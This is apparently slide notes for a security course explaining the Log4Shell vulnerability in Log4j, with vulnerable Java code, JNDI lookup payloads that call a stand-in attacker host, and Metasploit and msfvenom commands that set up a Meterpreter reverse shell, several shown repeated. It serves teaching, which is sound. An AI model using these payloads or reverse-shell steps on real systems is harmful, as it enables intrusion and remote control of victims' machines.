Arbitrary code execution (ACE): the ability to run a command or a piece of code on a target machine.
Remote code execution (RCE): an ACE that can be performed over a network.
From an attacker's point of view, RCE/ACE vulnerabilities are extremely vaulable, as they can provide an initial foothold into a victim's network.
Log4Shell is a remote code execution vulnerability affecting Log4j, a popular logging library for Java.
It was revealed in December 2021 and estimated to affect hundreds of millions of devices.
Source: LunaSec
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.io.*; public class ExampleHandler implements HttpHandler { static Logger log = LogManager.getLogger(ExampleHandler.class.getName()); public void handle(HttpExchange he) throws IOException { String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled // HTTP header. The attacker can set their X-Api-Version header // to: ${jndi:ldap://some-attacker.com/a} log.info("Requested Api Version:{}", apiVersion); ... } }
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.io.*; public class ExampleHandler implements HttpHandler { static Logger log = LogManager.getLogger(ExampleHandler.class.getName()); public void handle(HttpExchange he) throws IOException { String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled // HTTP header. The attacker can set their X-Api-Version header // to: ${jndi:ldap://some-attacker.com/a} log.info("Requested Api Version:{}", apiVersion); ... } }
Source: LunaSec
Log4j prints out a string formatted using an attacker-controlled input (in this
case, the X-Api-Version
HTTP header).
Normally, we wouldn't think that anything bad would happen in this code! This is roughly equivalent to the following Python code:
import logging
# Handle HTTP request...
logger = logging.getLogger()
logger.info("Requested Api Version: %s", apiVersion)
# If e.g. apiVersion = "1.1", this prints "Requested Api Version: 1.1"
Unfortunately, an attacker can exploit the Java Naming and Directory Interface (JNDI) to trick Log4j into executing arbitrary code.
JNDI is a Java programming interface for Java programs to look up data and resources in the form of Java objects.
The important point is that JNDI allows Java programs to load and use a Java class file, served to it remotely.
Source: Oracle Java Documentation
Log4j provides support for "lookups". These lookups allow you to attach different bits of context to logs, which can be very useful when you're debugging a problem.
One such lookup method loads data from JNDI.
Data containing the malicious payload ${jndi:ldap://evil.com/exploit}
gets
uploaded to the victim's server in some way.
The server logs the data/request containing the malicious payload.
The Log4j vulnerability triggers, making a request to the attacker-controlled
server evil.com/exploit
The attacker's server responds with a Java class file, which then gets retrieved and injected into the victim's server process.
Metasploit is a penetration testing framework for running security assessments. It has a large array of features, including:
Collecting target data into shared databases
Running vulnerability scans
Identify known vulnerabilities and run exploits for them
And more!
Source: Rapid7 / Metasploit
There are a number of things we might want to do after we obtain remote code execution. One of those things is setting up a reverse shell.
See what modules are available to run against hosts that are vulnerable to Log4Shell:
msf6 > search log4shell
Load a module and see the options that are available for it.
msf6 > use auxiliary/scanner/http/log4shell_scanner
msf6 auxiliary(scanner/http/log4shell_scanner) > options
You can also run info
to learn more about the module's functionality.
Set options and run module:
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS terminal.example.com RHOSTS => terminal.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST desktop.example.com SRVHOST => desktop.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVPORT 33889 SRVPORT => 33889 msf6 auxiliary(scanner/http/log4shell_scanner) > exploit
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS terminal.example.com RHOSTS => terminal.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST desktop.example.com SRVHOST => desktop.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVPORT 33889 SRVPORT => 33889 msf6 auxiliary(scanner/http/log4shell_scanner) > exploit
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS terminal.example.com RHOSTS => terminal.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST desktop.example.com SRVHOST => desktop.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVPORT 33889 SRVPORT => 33889 msf6 auxiliary(scanner/http/log4shell_scanner) > exploit
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS terminal.example.com RHOSTS => terminal.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST desktop.example.com SRVHOST => desktop.example.com msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVPORT 33889 SRVPORT => 33889 msf6 auxiliary(scanner/http/log4shell_scanner) > exploit
RHOSTS
: the host(s) that you're attacking
RPORT
: the port that the potentially vulnerable service is listening on.
SRVHOST
, SRVPORT
: the network interface/port to run the LDAP server on
Set up a listener to catch reverse shells:
msf6 > use exploit/multi/http/log4shell_header_injection msf6 exploit(...) > set PAYLOAD java/meterpreter/reverse_http PAYLOAD => java/meterpreter/reverse_http msf6 exploit(...) > set LHOST desktop.example.com LHOST => desktop.example.com msf6 exploit(...) > set LPORT 33445 LPORT => 33445 msf6 exploit(...) > run
msf6 > use exploit/multi/http/log4shell_header_injection msf6 exploit(...) > set PAYLOAD java/meterpreter/reverse_http PAYLOAD => java/meterpreter/reverse_http msf6 exploit(...) > set LHOST desktop.example.com LHOST => desktop.example.com msf6 exploit(...) > set LPORT 33445 LPORT => 33445 msf6 exploit(...) > run
msf6 > use exploit/multi/http/log4shell_header_injection msf6 exploit(...) > set PAYLOAD java/meterpreter/reverse_http PAYLOAD => java/meterpreter/reverse_http msf6 exploit(...) > set LHOST desktop.example.com LHOST => desktop.example.com msf6 exploit(...) > set LPORT 33445 LPORT => 33445 msf6 exploit(...) > run
msf6 > use exploit/multi/http/log4shell_header_injection msf6 exploit(...) > set PAYLOAD java/meterpreter/reverse_http PAYLOAD => java/meterpreter/reverse_http msf6 exploit(...) > set LHOST desktop.example.com LHOST => desktop.example.com msf6 exploit(...) > set LPORT 33445 LPORT => 33445 msf6 exploit(...) > run
exploit/multi/http/log4shell_header_injection
is an exploit against systems
vulnerable to Log4Shell
We use the java/meterpreter/reverse_http
payload, which will allow us to
obtain a Meterpreter reverse shell
LHOST
and LPORT
: the network interface/port to use to start the reverse
shell
msfvenom
msfvenom
is a tool for generating and encoding payloads. You can use this with
Metasploit or with another tool to exploit a vulnerability.
Generate payload:
$ msfvenom --arch x64 \
--platform linux \
--payload linux/x64/meterpreter_reverse_http \
--format elf \
LHOST=desktop.example.com LPORT=1234 > payload.bin
Run handler:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_http
PAYLOAD => linux/x64/meterpreter_reverse_http
msf6 exploit(multi/handler) > run